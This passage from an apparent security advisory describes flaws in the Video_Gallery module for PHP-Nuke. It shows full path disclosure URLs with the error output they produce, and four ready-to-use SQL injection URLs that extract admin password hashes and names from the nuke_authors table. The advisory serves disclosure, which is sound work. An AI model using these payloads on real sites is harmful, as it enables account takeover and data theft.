2.- Full path disclosure:
    ¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨

    This vulnerability would allow a remote user to determine the full
    path to the web root directory and other potentially sensitive 
information.

    A) 
http://[target]/modules.php?name=Video_Gallery&l_op=viewcat&catid=darkbicho

       Warning: mysql_fetch_row(): supplied argument is not a valid MySQL 
result resource in                                    
/home/hosting/php-nuke/includes/sql_layer.php on line 286

    B) 
http://[target]/modules.php?name=Video_Gallery&l_op=viewclip&clipid=darkbicho&catid=1

       Warning: mysql_fetch_row(): supplied argument is not a valid MySQL 
result resource in                                   
/home/hosting/php-nuke/includes/sql_layer.php on line 286



3.- Sql injection:
    ¨¨¨¨¨¨¨¨¨¨¨¨¨¨
    This sql injection exploit can pull out from database any information, 
for example
    superadmin's username and password's md5 hash:


    A) 
http://[target]/modules.php?name=Video_Gallery&l_op=viewclip&clipid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors&catid=1

    B)
http://[target]/modules.php?name=Video_Gallery&l_op=viewcat&catid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors

    c)
http://[target]/modules.php?name=Video_Gallery&l_op=viewclip&clipid=-1%20UNION%20SELECT%20name%20FROM%20nuke_authors&catid=1

    D)
http://[target]/modules.php?name=Video_Gallery&l_op=voteclip&clipid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors&catid=1


SOLUTION:
¨¨¨¨¨¨¨¨
    Vendors were contacted many weeks ago and plan to release a fixed 
version soon.
    Check the Video Gallery website for updates and official release 
details.
